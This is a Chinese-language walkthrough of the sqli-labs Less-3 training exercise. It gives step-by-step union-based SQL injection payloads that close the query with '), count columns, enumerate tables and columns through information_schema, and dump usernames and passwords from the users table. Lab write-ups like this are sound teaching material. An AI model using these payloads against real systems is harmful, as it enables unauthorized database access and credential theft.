sqli-labs less-3
* 判断是否存在注入
输入?id=1 回显正常
输入?id=1' 回显错误
输入?id=1" 回显正常
但根据回显信息,此题是由’)来进行闭合的,所以尝试输入’)进行闭合
输入?id=1') and 1=1 --+ 回显正常
输入?id=1') and 1=2 --+ 回显错误
* 判断列数
输入?id=1') order by 3 --+ 回显正常
输入?id=1') order by 4 --+ 回显错误
由此可知,字段数为3
* 报显示位
使用联合查询
输入?id=1') and 1=2 union select 1,2,3 --+
由图可知,2和3回显到了页面
* 查询详细信息
* 查询当前数据库和版本
输入?id=1') and 1=2 union select 1,database(),version() --+
* 查询数据库下的表
输入?id=1') and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,1 --+
?id=1') and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 1,1 --+
?id=1') and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 2,1 --+
?id=1') and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 3,1 --+
依次输入上面的url,可查询到总共4张表
* 查询表下的列
我们从users表里查询账户信息
输入?id=1') and 1=2 union select 1,column_name,3 from information_schema.columns where table_schema=database() and table_name='users' limit 0,1 --+
?id=1') and 1=2 union select 1,column_name,3 from information_schema.columns where table_schema=database() and table_name='users' limit 1,1 --+
?id=1') and 1=2 union select 1,column_name,3 from information_schema.columns where table_schema=database() and table_name='users' limit 2,1 --+
依然是依次输入上面的url,可查询到id,username,password三个字段
* 输出最终查询到的信息
输入?id=1') and 1=2 union select 1,username,password from users where id = 1 --+
………………
?id=1') and 1=2 union select 1,username,password from users where id = 12 --+
即完成